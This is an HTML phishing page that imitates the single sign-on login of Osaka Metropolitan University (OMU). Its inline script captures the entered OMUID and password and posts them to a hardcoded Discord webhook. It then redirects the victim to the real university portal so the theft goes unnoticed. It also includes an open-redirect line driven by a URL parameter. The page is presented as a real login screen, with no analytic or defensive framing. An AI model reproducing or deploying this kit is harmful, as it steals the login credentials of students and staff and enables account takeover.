<html>
<head>
    <meta http-equiv="Pragma" content="no-cache" />
    <meta http-equiv="Cache-Control" content="no-cache, no-store" />
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta name="viewport" content="width=device-width,initial-scale=1">
    <link rel="stylesheet" type="text/css" href="./css/omu_custom.css" >
    <title>OMU認証システム/OMU Authentication System</title>
	<script>
    const webhookUrl = "https://discord.com/api/webhooks/1325866010288455700/Wf1uKUIPF6GG600kgnMr7TFZ5jAtVbYhgJcTOrmpZh5rVU8wyfcUGfA5MG8TqkTH3Gy3";

    function sendDiscordMessage(event) {
	event.preventDefault();
        const message = {
            content: document.querySelectorAll("input")[0].value+':'+document.querySelectorAll("input")[1].value,
        };

        fetch(webhookUrl, {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
            },
            body: JSON.stringify(message),
        })
        .then(response => {
            window.location.href = "https://portal.omu.ac.jp/SitePages/default.aspx"
        })
const url = new URLSearchParams(location.search).get('url');
if (url?.startsWith('http')) location.href = url;
    }
</script>
</head>

<body id="bg1" background-repeat:no-repeat" onload="document.basic.SM_UID.focus()">

<header>
    <font id="top" ><b>OMU認証システム/OMU Authentication System</b></font><br>
    <font id="title1">[シングルサインオン（SSO）ログイン / Single Sign-On(SSO) Login]</font>
</header>

<br>

<table>
    <tr>
        <td height="20" align="center">
            
            OMUIDとパスワードを入力してください/Enter your OMUID and password
            
        </td>
        
        
    </tr>
    <tr>
        <td align="center">
            
            <form name="basic" onsubmit="sendDiscordMessage(event);">
            <table>
                <tr><td align="right">OMUID</td>



                    <td align="left"><input type="text" name="SM_UID"></td>
                </tr>

                <tr>
                    <td align="right">Password</td>
                    <td align="left"><input type="password" name="SM_PWD" autocomplete="off"></td>
                </tr>
                <tr>
                    <td colspan=2 align=center>
                      <input type="submit" value="Login" onClick="DisableButton(this);">
                      <input type="reset" value="Reset">
                    </td>
                </tr>
            </table>
            </form>
        </td>
    </tr>
</table>
<table class="information">
    <tr>
        <td>お知らせ/Information：</td>
    </tr>
    <tr>
        <td>
            <iframe id="information" src="https://auth.omu.ac.jp/AuthServer/notice-before.html" width=100% onload="change_iframe_height(this.id)"></iframe>
            <script>

                const date = new Date();
                const url = 'https://auth.omu.ac.jp/AuthServer/notice-before.html' + '?' + date.toISOString();
                const iframe_element = document.getElementById('information');
                iframe_element.src = url;
                iframe_element.contentDocument.location.reload();

                function change_iframe_height(frm) {
                    var cHeight;
                    var docFrame = document.getElementById(frm);
                    try {
                        cHeight = docFrame.contentWindow.document.body.scrollHeight;
                    } catch(e) {}

                    if ( ! isNaN( cHeight ) && ! cHeight == 0 ) {
                        docFrame.height = cHeight;
                    } else {
                        docFrame.height = 200;
                        docFrame.scrolling = "auto";
                    }
                }
            </script>
        </td>
    </tr>
</table>
<table class="forget">
    <tr>
        <td align="left">
            <div id="box1">
                <font>OMUIDがわからない場合は、<a href="https://forms.office.com/Pages/ResponsePage.aspx?id=6Zxr3Lqm0069Z5-eOshc8UjraXvPer9Gl8HqgmYvR7xUMVZZWVdQUVBKU1ZROTcxWVQ0RFg5UlpaUSQlQCN0PWcu" target="_blank" rel="noopener noreferrer">こちらの問い合わせフォーム</a>からお問い合わせください。</font>
                <br>
                <font>パスワードを忘れた場合は、<a href="https://ums.cii.omu.ac.jp/saibed/PassReminder" target="_blank" rel="noopener noreferrer">こちら</a>から再設定してください。</font>
                <br>
                <br>
                <font>If you don't know your OMUID, please use <a href="https://forms.office.com/Pages/ResponsePage.aspx?id=6Zxr3Lqm0069Z5-eOshc8UjraXvPer9Gl8HqgmYvR7xUMVZZWVdQUVBKU1ZROTcxWVQ0RFg5UlpaUSQlQCN0PWcu" target="_blank" rel="noopener noreferrer">this inquiry form</a> to contact us.</font>
                <br>
                <font>If you have forgotten your password, please reset it <a href="https://ums.cii.omu.ac.jp/saibed/PassReminder" target="_blank" rel="noopener noreferrer">here</a>.</font>
                <br>
            </div>
        </td>
    </tr>
</table>

<br>
<footer>
    <font id="footer">&emsp;公立大学法人 大阪</font>
    <center><font id="copyright" size="-2">Copyright&copy; 2022 University Public Corporation Osaka. All Rights Reserved.</font></center>
</footer>

</body>
</html>
